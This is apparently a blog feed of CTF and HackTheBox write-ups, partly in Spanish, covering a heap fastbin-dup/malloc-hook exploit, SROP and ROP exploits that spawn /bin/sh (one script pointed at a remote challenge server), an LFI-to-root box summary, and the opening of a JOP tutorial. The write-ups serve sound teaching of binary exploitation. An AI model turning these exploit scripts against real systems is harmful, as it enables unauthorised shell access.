<span class="n">free</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
<span class="n">free</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span> <span class="c1"># Fastbin dup
</span>
<span class="n">alloc</span><span class="p">(</span><span class="mh">0x48</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0x3b4b9d</span><span class="p">))</span> <span class="c1"># Address para nuestro chunk en main_arena
</span>
<span class="n">alloc</span><span class="p">(</span><span class="mh">0x48</span><span class="p">)</span>
<span class="n">alloc</span><span class="p">(</span><span class="mh">0x48</span><span class="p">)</span>
<span class="n">alloc</span><span class="p">(</span><span class="mh">0x48</span><span class="p">,</span> <span class="s">"AAAABBBB"</span><span class="o">*</span><span class="mi">2</span> <span class="o">+</span> <span class="s">"CCC"</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0x3b4b2c</span><span class="p">))</span> <span class="c1"># Sobreexcribimos la direccion del top chunk
</span>
<span class="n">alloc</span><span class="p">(</span><span class="mh">0x58</span><span class="p">,</span> <span class="s">"AAAABBBBCCCC"</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0xe1fa1</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">+</span> <span class="mh">0x83b2e</span><span class="p">))</span> <span class="c1"># sobreescribimos __realloc_hook y __malloc_hook
</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"> "</span><span class="p">,</span> <span class="s">"1"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">"size:"</span><span class="p">,</span> <span class="s">"24"</span><span class="p">)</span> <span class="c1"># allocacion final para obtener nuestra shell
</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">leak</span><span class="p">))</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">))</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>El exploit es dependiente del ASLR, por lo que al ejecutarlo un par de veces obtenemos la shell. Como mencione antes, podriamos haber eliminado esta dependencia, pero ello involucraria un par de allocaciones mas para un fastbin dup extra al comienzo del exploit y, si hacia eso, la tecnica del <code class="language-plaintext highlighter-rouge">two-gadget</code> no era posible porque habria 3 pointers mas en el array del stack y no alcanzariamos a setear <code class="language-plaintext highlighter-rouge">[rsp + 0x50]</code> a null.</p>
<p>Muchas gracias por el CTF a toda la organizacion de Q4, y en especial a dplastico por los pwns que estuvieron increibles!</p>c4eSoluciones a los problemas de heap del CTF de Q4 del 2020: Wallet, Mision, Motoko, 420.Sombrero-Q4 CTF [PWN] Berlin2020-07-25T00:00:00-04:002020-07-25T00:00:00-04:00c4ebt.github.io/2020/07/25/SombreroCTF-Berlin<p>Aquí dejo un writeup cortito para el desafío Berlin de la categoría PWN, hecho por <a href="https://dplastico.me/">dplastico</a> del CTF de SombreroBlanco & Q4, llevado a cabo el fin de semana del 25 de Julio. Tenia una puntuacion de 500 pts y, si bien el CTF tenia puntuacion dinámica, se mantuvo ahi por la baja cantidad de soluciones que tuvo.</p>
<p>Pueden descargar el binario <a href="https://c4ebt.github.io/content/sombrero2020/berlin">aqui</a>.</p>
<p>Para sacar la shell de este binario usé una técnica llamada SROP. Recomiendo investigar un poco sobre ella si quieren entender lo que pasa de mejor manera :D</p>
<p>En un principio lo que mas me complicó para resolver el desafío fue la falta de espacio para roppear y la falta de gadgets para pivotear, ya que SROP requiere de mucho espacio en el stack para introducir la SigReturn Frame, que es bastante larga. La falta de gadgets en verdad fue una falta de visión mía o algo, ya que por alguna razón pensé que no podia usar un gadget que era bastante claro.</p>
<p>Aquí dejo un dump de las instrucciones del binario, explicando un poco como va la gadget chain para pivotear el stack:</p>
<p><img src="https://c4ebt.github.io/assets/images/content/sombrero2020/dump.png" alt="" /></p>
<p>La forma intencional para resolver el desafío era mediante el simple uso de esta gadget chain, pero como dije antes, yo no la vi en un principio. Por eso pase un tiempo buscando otra forma de explotar el binario, sin necesidad de un stack pivot. Finalmente, llegue a un exploit en el que llamaba a la syscall de read nuevamente, pero esta vez apuntando a un buffer (mediante el control de <code class="language-plaintext highlighter-rouge">rsi</code>) que estaba mas arriba en el stack, lo que me permitiría sobreescribir aun mas el stack, dándome mas espacio (en este caso virtualmente ilimitado) para poder roppear y tirar mi SigReturn frame tranquilo.</p>
<p>Logré sacar una shell localmente con este exploit, pero no pude hacer que funcionara de manera remota. Esto se debe a que los setups remoto y local son diferentes, por lo que las variables de ambiente están posicionadas también de manera diferente en el stack. Esto probablemente causo que en la instancia remota mi exploit sobreescribiera alguna env var importante, causando que el proceso crashee. La otra posibilidad es que, al ser diferentes los stacks, los offsets que use para mi exploit hayan sido diferentes también. Esta segunda posibilidad es fácilmente solucionable en la posesión de un debugger y de manera local, pero al estar la diferencia en la instancia remota, habría requerido fuerza bruta a algún offset, siendo la técnica potencialmente imposible.</p>
<p>Aquí dejo entonces ambos exploits, el de la gadget chain simple (que funcionaba de manera remota) y el mas complejo que no funcionaba. Siendo la vulnerabilidad la misma, son considerablemente similares, variando solo en algunos puntos.</p>
<h4 id="ret2read">ret2read:</h4>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'DEBUG'</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">"./berlin"</span><span class="p">)</span>
<span class="c1">#p = gdb.debug("./berlin", "b *0x004000f5")
#p = remote("46.101.118.108", 12345)
</span>
<span class="n">stack</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">8</span><span class="p">))</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Stack: "</span> <span class="o">+</span> <span class="nb">hex</span><span class="p">(</span><span class="n">stack</span><span class="p">))</span>
<span class="n">junk</span> <span class="o">=</span> <span class="s">"/bin/sh</span><span class="se">\x00</span><span class="s">"</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">512</span><span class="p">,</span> <span class="s">"A"</span><span class="p">)</span>
<span class="c1"># Addresses
</span><span class="n">loop</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x004000f5</span><span class="p">)</span>
<span class="n">mov_edx_syscall</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4000d5</span><span class="p">)</span>
<span class="n">xors</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4000dd</span><span class="p">)</span>
<span class="n">mov_rsi_rsp</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x400108</span><span class="p">)</span>
<span class="n">syscall</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4000da</span><span class="p">)</span>
<span class="n">write</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4000f2</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="p">(</span><span class="n">junk</span>
<span class="o">+</span> <span class="n">mov_rsi_rsp</span> <span class="c1"># Setear rsi a una direccion del stack
</span> <span class="o">+</span> <span class="n">xors</span> <span class="c1"># Resetear otros registros para la syscall de read
</span> <span class="o">+</span> <span class="n">mov_edx_syscall</span> <span class="c1"># read syscall a un buffer en el stack para tener mas espacio
</span> <span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'amd64'</span>
<span class="n">frame</span> <span class="o">=</span> <span class="n">SigreturnFrame</span><span class="p">()</span>
<span class="n">frame</span><span class="p">.</span><span class="n">rip</span> <span class="o">=</span> <span class="mh">0x4000da</span> <span class="c1"># syscall
</span><span class="n">frame</span><span class="p">.</span><span class="n">rax</span> <span class="o">=</span> <span class="mh">0x3b</span> <span class="c1"># execve
</span><span class="n">frame</span><span class="p">.</span><span class="n">rdi</span> <span class="o">=</span> <span class="n">stack</span> <span class="o">-</span> <span class="mi">520</span> <span class="c1"># binsh
</span><span class="n">frame</span><span class="p">.</span><span class="n">rdx</span> <span class="o">=</span> <span class="mi">0</span> <span class="c1"># NULL argv
</span><span class="n">frame</span><span class="p">.</span><span class="n">rsi</span> <span class="o">=</span> <span class="mi">0</span> <span class="c1"># NULL envp
</span><span class="n">frame</span><span class="p">.</span><span class="n">rsp</span> <span class="o">=</span> <span class="n">stack</span> <span class="c1"># No es necesario
</span>
<span class="n">payload</span> <span class="o">=</span> <span class="p">(</span><span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span><span class="o">*</span><span class="mi">2</span> <span class="c1"># Offset
</span> <span class="o">+</span> <span class="n">xors</span> <span class="c1"># Resetear registros
</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4000ec</span><span class="p">)</span> <span class="c1"># mini-read (me sirvio para evitar algunos errores, es posible no usarlo)
</span> <span class="o">+</span> <span class="n">syscall</span> <span class="c1"># mini-read
</span> <span class="o">+</span> <span class="n">loop</span><span class="o">*</span><span class="mi">14</span> <span class="c1"># Loop para llegar a rax=15
</span> <span class="o">+</span> <span class="n">syscall</span> <span class="c1"># SigReturn
</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">frame</span><span class="p">)</span> <span class="c1"># SigReturn Frame
</span> <span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">payload</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mh">0x228</span><span class="p">,</span> <span class="s">"Y"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<h4 id="gadget-chain-stack-pivot">Gadget chain stack pivot:</h4>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">'DEBUG'</span>
<span class="c1">#p = process("./berlin")
#p = gdb.debug("./berlin", "b *0x004000f5")
</span><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"46.101.118.108"</span><span class="p">,</span> <span class="mi">12345</span><span class="p">)</span>
<span class="n">stack</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">(</span><span class="mi">8</span><span class="p">))</span> <span class="c1"># Stack leak que nos da el binario
</span><span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Stack: "</span> <span class="o">+</span> <span class="nb">hex</span><span class="p">(</span><span class="n">stack</span><span class="p">))</span>
<span class="c1"># Addresses
</span><span class="n">loop</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x004000f5</span><span class="p">)</span> <span class="c1"># Address del gadget que nos permite incrementar rax para
</span> <span class="c1"># llegar a la syscall 15 (SigReturn)
</span><span class="n">mov_edx_syscall</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4000d5</span><span class="p">)</span>
<span class="n">xors</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4000dd</span><span class="p">)</span>
<span class="n">mov_rsi_rsp</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x400108</span><span class="p">)</span> <span class="c1"># mov rsi,rsp; ret;
</span><span class="n">syscall</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x4000da</span><span class="p">)</span>
<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'amd64'</span>
<span class="n">frame</span> <span class="o">=</span> <span class="n">SigreturnFrame</span><span class="p">()</span>
<span class="n">frame</span><span class="p">.</span><span class="n">rip</span> <span class="o">=</span> <span class="mh">0x4000da</span> <span class="c1"># syscall
</span><span class="n">frame</span><span class="p">.</span><span class="n">rax</span> <span class="o">=</span> <span class="mh">0x3b</span> <span class="c1"># execve
</span><span class="n">frame</span><span class="p">.</span><span class="n">rdi</span> <span class="o">=</span> <span class="n">stack</span> <span class="o">-</span> <span class="mi">520</span> <span class="c1"># filename: "/bin/sh\x00"
</span><span class="n">frame</span><span class="p">.</span><span class="n">rdx</span> <span class="o">=</span> <span class="mi">0</span> <span class="c1"># NULL argv
</span><span class="n">frame</span><span class="p">.</span><span class="n">rsi</span> <span class="o">=</span> <span class="mi">0</span> <span class="c1"># NULL envp
</span><span class="n">frame</span><span class="p">.</span><span class="n">rsp</span> <span class="o">=</span> <span class="n">stack</span> <span class="c1"># No es necesario
</span>
<span class="n">payload2</span> <span class="o">=</span> <span class="p">(</span><span class="s">"/bin/sh</span><span class="se">\x00</span><span class="s">"</span> <span class="c1"># String para la call a execve
</span> <span class="o">+</span> <span class="n">xors</span> <span class="c1"># Resetear registros
</span> <span class="o">+</span> <span class="n">loop</span><span class="o">*</span><span class="mi">15</span> <span class="c1"># Loop para llegar a rax=15
</span> <span class="o">+</span> <span class="n">syscall</span> <span class="c1"># SigReturn
</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">frame</span><span class="p">)</span> <span class="c1"># SigReturn Frame
</span> <span class="p">)</span>
<span class="n">payload2</span> <span class="o">=</span> <span class="n">payload2</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">512</span><span class="p">,</span> <span class="s">"Y"</span><span class="p">)</span>
<span class="n">payload1</span> <span class="o">=</span> <span class="p">(</span><span class="n">payload2</span>
<span class="o">+</span> <span class="n">mov_rsi_rsp</span> <span class="c1"># Poner una direccion del stack en rsi
</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40011c</span><span class="p">)</span> <span class="c1"># xor r15, rsi; ret
</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x40010c</span><span class="p">)</span> <span class="c1"># sub r15,0x200; mov rsp,r15; ret;
</span> <span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload1</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>Gracias a los organizadores del CTF, estuvo muy divertido :D
Cualquier duda están mis redes sociales adjuntadas en la pagina web para que puedan ponerse en contacto.</p>
<p>Keep pwning!</p>c4eAquí dejo un writeup cortito para el desafío Berlin de la categoría PWN, hecho por dplastico del CTF de SombreroBlanco, llevado a cabo el fin de semana del 25 de Julio. Tenia una puntuacion de 500 pts y, si bien el CTF tenia puntuacion dinámica, se mantuvo ahi por la baja cantidad de soluciones que tuvo.HTB Forwardslash Writeup2020-07-04T00:00:00-04:002020-07-04T00:00:00-04:00c4ebt.github.io/2020/07/04/HTB-Forwardslash-Writeup<p>Forwardslash is a hard-rated box (medium difficulty imo) in which we exploit an LFI in the web server to get access to some sensitive info that lets us SSH in. In our initial SSH session we exploit a SUID binary to obtain once again read access to a file with credentials that we use to move laterally to another user. From there we have sudo rights to access an encrypted luks image file, so we only have to bruteforce the key to then gain root and complete the machine.</p>
<iframe height="900" src="https://drive.google.com/viewerng/viewer?embedded=true&url=https://c4ebt.github.io/content/htb/Forwardslash-Writeup.pdf" width="900"></iframe>c4eForwardslash is a hard-rated box (medium difficulty imo) in which we exploit an LFI in the web server to get access to some sensitive info that lets us SSH in. In our initial SSH session we exploit a SUID binary to obtain once again read access to a file with credentials that we use to move laterally to another user. From there we have sudo rights to access an encrypted luks image file, so we only have to bruteforce the key to then gain root and complete the machine.HTB ropmev2 Writeup2020-05-29T00:00:00-04:002020-05-29T00:00:00-04:00c4ebt.github.io/2020/05/29/HTB-ropmev2-Writeup<p>ropmev2 was a fun binary exploitation challenge by <a href="https://twitter.com/r4j0x00">r4j</a> in which we needed to rop our way through some twists to be able to build a successful exploit.</p>
<p>We start by looking at the surface aspects of the binary. It is a 64-bit binary and <code class="language-plaintext highlighter-rouge">checksec</code> only reveals the NX protection.</p>
<p>We use r2 to reverse it and figure out the execution flow. Basically everything is handled in the main function, so there’s not much to say here.</p>
<p><img src="/assets/images/content/htb/ropmev2/r2.png" alt="" /></p>
<p>We ses printf prints the “welcoming” string: <code class="language-plaintext highlighter-rouge">"Please dont hack me"</code>, then there’s a call to <code class="language-plaintext highlighter-rouge">read</code> that reads 500 bytes from stdin. Right after that there’s an interesting call to <code class="language-plaintext highlighter-rouge">strcmp</code> that compares the entered string with <code class="language-plaintext highlighter-rouge">"DEBUG"</code> and then, if it is equal, printf gives us what at first glance seems to be a pointer loaded from a local variable. We can check out what it actually is by running the binary, inputting <code class="language-plaintext highlighter-rouge">"DEBUG"</code> and then analyzing with gdb.</p>
<p>We can break right after the call to <code class="language-plaintext highlighter-rouge">printf</code>: at <code class="language-plaintext highlighter-rouge">0x004011ee</code>. We can see that the binary outputted a value that seems to be the beginning of our stack.</p>
<p><img src="/assets/images/content/htb/ropmev2/gdb.png" alt="" /></p>
<p>This leaked value could potentially be useful if we want to skip writing a <code class="language-plaintext highlighter-rouge">"/bin/sh"</code> to memory because instead we can simply use a stack address.</p>
<p>We run the binary for a quick test to see if what we input can modify the execution flow at all and we immediately notice something weird. If we input say <code class="language-plaintext highlighter-rouge">"A"*512</code> we cause a segmentation fault, but every overflowed register points to a string of all <code class="language-plaintext highlighter-rouge">"N"s</code>. These are not the <code class="language-plaintext highlighter-rouge">"A"s</code> we entered! There is clearly something happening in the background here.
At the end of <code class="language-plaintext highlighter-rouge">main</code> there was a call to an unusual function: <code class="language-plaintext highlighter-rouge">sub.strlen_238</code>. Taking a quick look at it, it seems this is the function causing this weird behavior. It can be hard to understand what this function does only reading asm code, so we’ll open it in Ghidra to hopefully get some useful pseudocode :)</p>
<p>Once in Ghidra, we find the function and take a look at its decompilation:</p>
<p><img src="/assets/images/content/htb/ropmev2/ghidra.png" alt="" /></p>
<p>It seems all the function does is it subtracts <code class="language-plaintext highlighter-rouge">0xd</code> to every entered character <code class="language-plaintext highlighter-rouge">a-z;A-Z</code>. Hmmm… <code class="language-plaintext highlighter-rouge">0xd=13</code>, this function applies ROT13 to our input!</p>
<p>That figured out, using cyclic we can easily find the offset at which our input starts modifying the execution flow. We have to remember to ROT13 it before we check for an offset. We originally got <code class="language-plaintext highlighter-rouge">"rnnpsnnp"</code> overflowing into <code class="language-plaintext highlighter-rouge">RSP</code>, so after aplying the conversion we can check for an offset with <code class="language-plaintext highlighter-rouge">cyclic -l eaacfaac</code>:</p>
<p><img src="/assets/images/content/htb/ropmev2/cyclic.png" alt="" /></p>
<p>We have our offset at <code class="language-plaintext highlighter-rouge">216</code>. From here we can begin focusing into building our rop chain.</p>
<p>Looking at the binary more closely, we can find all the gadgets we nith + a syscall! This means the challenge is practically solved. We will load <code class="language-plaintext highlighter-rouge">59</code> into <code class="language-plaintext highlighter-rouge">RAX</code> for an execve syscall, load <code class="language-plaintext highlighter-rouge">"/bin/sh"</code> into <code class="language-plaintext highlighter-rouge">RDI</code> as our argument, and then zero out <code class="language-plaintext highlighter-rouge">RSI</code> and <code class="language-plaintext highlighter-rouge">RDX</code> to avoid any potential problems. For our pointer to the <code class="language-plaintext highlighter-rouge">"/bin/sh"</code> string, we can simply calculate the difference between the leaked value by our <code class="language-plaintext highlighter-rouge">"DEBUG"</code> input to the address were our second input gets stored. From there we can simply begin our payload with <code class="language-plaintext highlighter-rouge">"/bin/sh"</code>, put a bunch of junk in front of it to fill the offset until we overwrite <code class="language-plaintext highlighter-rouge">RSP</code>, and begin our rop chain.</p>
<p>The final exploit looks like this (remember ROT13, we have to convert our <code class="language-plaintext highlighter-rouge">"/bin/sh"</code> to <code class="language-plaintext highlighter-rouge">"/ova/fu"</code> so that it gets converted back to <code class="language-plaintext highlighter-rouge">"/bin/sh"</code> by the binary):</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#!/usr/bin/python
</span><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">"./ropmev2"</span><span class="p">)</span>
<span class="n">junk</span> <span class="o">=</span> <span class="s">"/ova/fu</span><span class="se">\x00</span><span class="s">"</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">216</span><span class="p">,</span> <span class="s">"A"</span><span class="p">)</span>
<span class="c1"># Addresses
</span><span class="n">syscall</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0000000000401168</span><span class="p">)</span>
<span class="n">pop_rax</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0000000000401162</span><span class="p">)</span>
<span class="n">pop_rdi</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x000000000040142b</span><span class="p">)</span>
<span class="n">pop_rsi_r15</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0000000000401429</span><span class="p">)</span>
<span class="n">pop_rdx_r13</span> <span class="o">=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x0000000000401164</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"me"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="s">"DEBUG"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">leak</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">())[</span><span class="o">-</span><span class="mi">15</span><span class="p">:]</span>
<span class="n">log</span><span class="p">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Leaked address: "</span> <span class="o">+</span> <span class="n">leak</span><span class="p">)</span>
<span class="n">binsh</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">leak</span><span class="p">,</span> <span class="mi">16</span><span class="p">)</span> <span class="o">-</span> <span class="mh">0xe0</span>
<span class="n">payload</span> <span class="o">=</span> <span class="p">(</span><span class="n">junk</span>
<span class="o">+</span> <span class="n">pop_rdi</span>
<span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">binsh</span><span class="p">)</span>
<span class="o">+</span> <span class="n">pop_rax</span>
<span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x3b</span><span class="p">)</span>
<span class="o">+</span> <span class="n">pop_rsi_r15</span>
<span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span><span class="o">*</span><span class="mi">2</span>
<span class="o">+</span> <span class="n">pop_rdx_r13</span>
<span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x00</span><span class="p">)</span><span class="o">*</span><span class="mi">2</span>
<span class="o">+</span> <span class="n">syscall</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">"me"</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>And it gives us a local shell!</p>
<p>Now, the remote instance of the binary running in HTB servers had another twist: <em>there was no /bin/sh on the server</em>. When I was first doing the challenge I did struggle a lot with this, but it truly has a simple solution to it: all we need to do is change our <code class="language-plaintext highlighter-rouge">"/bin/sh"</code> (<code class="language-plaintext highlighter-rouge">"/ova/fu"</code>) to <code class="language-plaintext highlighter-rouge">"/bin/bash"</code> (<code class="language-plaintext highlighter-rouge">"/ova/onfu"</code>). That will give us a remote shell get us the flag for the challenge.</p>
<p>Hopefully this writeup was enjoyable and simple to understand, if you have any questions don’t hesitate to contact me (c4e) on any of my socials or leave a comment below.</p>c4eropmev2 was a fun binary exploitation challenge by [r4j](https://twitter.com/r4j0x00) in which we needed to rop our way through some twists to be able to build a successful exploit.PWNDAY#01 Juujuu writeup2020-05-26T00:00:00-04:002020-05-26T00:00:00-04:00c4ebt.github.io/2020/05/26/PWNDAY#01-Juujuu-Writeup<p>Some time ago <a href="https://dplastico.me/">dplastico</a> and I hosted an event called <strong>PWNDAY#01</strong> in which people had to solve 3 binary exploitation challenges (Easy - Medium - Pro) with the opportunity to win a series of different prizes. This is the write up for the <strong>Pro</strong> category challenge <strong>Juujuu</strong>. It was the first challenge I created and it was the initial push for the PWNDAY idea.
This isn’t an entry level writeup so I’ll be skipping the explanations for most basic concepts, if you are not familiar with ROPs or binary exploitation at all I recommend you check my other posts <a href="https://c4ebt.github.io/resources/2020/03/21/Binexp_Resources.html">here</a> and <a href="https://c4ebt.github.io/writeups/2020/03/22/CuarenTeFa_PWN_Writeup.html">here</a> to learn more about it before trying this challenge.</p>
<p>Juujuu is a medium difficulty Jump Oriented Proggraming (JOP)-based binary exploitation challenge. There already are resources out there that explain what JOP is and how it works so I’m going to skip explaining it, however <a href="https://www.comp.nus.edu.sg/~liangzk/papers/asiaccs11.pdf">here</a> you can download a paper that can be really useful to understand it.</p>
<p>Anyways, lets get started with the technical stuff. You can download the binary <a href="https://c4ebt.github.io/content/pwnday01/juujuu">here</a>.</p>
<p>As you could’ve already noticed, it’s a really small binary. We’ll see why soon.
Running checksec on it reveals that the only protection it has is NX, so we’ll have to reuse code inside the binary to make our way through the challenge. First thing we think about when we see NX is that we’ll need ROP to be able to execute anything, but we’ll also see why we won’t be able to in this case.</p>
<p>We open the binary in <code class="language-plaintext highlighter-rouge">r2</code> to start reversing it. Immediately we notice that it has no familiar functions. We can only see <code class="language-plaintext highlighter-rouge">entry0</code> and a bunch of other functions that are just a few instructions followed by a <code class="language-plaintext highlighter-rouge">jmp</code> instruction. Here is where the entire concept of JOP lies:</p>
<p><img src="https://c4ebt.github.io/assets/images/content/pwnday01/entry0.png" alt="" /></p>
<p>As you can see, the function ends with a <code class="language-plaintext highlighter-rouge">jmp qword [rsp - 8]</code> instead of a <code class="language-plaintext highlighter-rouge">ret</code>. This means we won’t be able to take control of the execution flow by overwriting <code class="language-plaintext highlighter-rouge">rsp</code> and <code class="language-plaintext highlighter-rouge">rbp</code> as we normally would in ROP. But this doesn’t mean we can’t take control of the execution flow: here’s where JOP comes in. If you haven’t taken a look at the paper explaining it (linked above), go do it now.</p>
<p>If you are reading this it means you already read the paper/already understand how JOP works. Now we can get started with the fun stuff.</p>
<p>As you can see in the disassembly of <code class="language-plaintext highlighter-rouge">entry0</code> above, we have a syscall to <code class="language-plaintext highlighter-rouge">read</code>. Here is the argument structure for the <code class="language-plaintext highlighter-rouge">read</code> syscall:</p>
<p><img src="https://c4ebt.github.io/assets/images/content/pwnday01/syscalltable.png" alt="" /></p>
<ul>
<li><code class="language-plaintext highlighter-rouge">rdi</code> is 0 so it reads from <code class="language-plaintext highlighter-rouge">stdin</code></li>
<li><code class="language-plaintext highlighter-rouge">rsi</code>is set to <code class="language-plaintext highlighter-rouge">rsp - 0x100</code> (<code class="language-plaintext highlighter-rouge">mov rsi, rsp; sub rsi, 0x100</code>)</li>
<li><code class="language-plaintext highlighter-rouge">rdx</code> is <code class="language-plaintext highlighter-rouge">0x140</code></li>
</ul>
<p>So this syscall will read <code class="language-plaintext highlighter-rouge">0x140</code> bytes from <code class="language-plaintext highlighter-rouge">stdin</code> into a <code class="language-plaintext highlighter-rouge">0x100</code> byte buffer that ends right were <code class="language-plaintext highlighter-rouge">rsp</code> is. This means we’ll have a size of <code class="language-plaintext highlighter-rouge">0x40</code> for our starting payload.</p>
<p>After the <code class="language-plaintext highlighter-rouge">read</code> syscall <code class="language-plaintext highlighter-rouge">entry0</code> has</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>add rsp, 8
jmp qword [rsp - 8]
</code></pre></div></div>
<p>This is going to be our dispatcher gadget. If you read the paper you know we can use this to control the execution flow and jump between actually useful gadgets without losing this exeuction.</p>
<p>Our goal is going to be getting a shell, so we’ll need to do an <code class="language-plaintext highlighter-rouge">execve("/bin/sh")</code> syscall. Our first goal is going to be setting <code class="language-plaintext highlighter-rouge">rax</code> to <code class="language-plaintext highlighter-rouge">59</code>, the execve syscall number. We also need to get a usable <code class="language-plaintext highlighter-rouge">"/bin/sh\x00"</code> string in the binary to do be able to do the syscall.</p>
<p>We need to look for gadgets to get this work done. Avoid using ropgadget or ropper since some of the gadgets are obfuscated and won’t be detected by these tools. This said, we’ll use <code class="language-plaintext highlighter-rouge">objdump</code> do find our gadgets.</p>
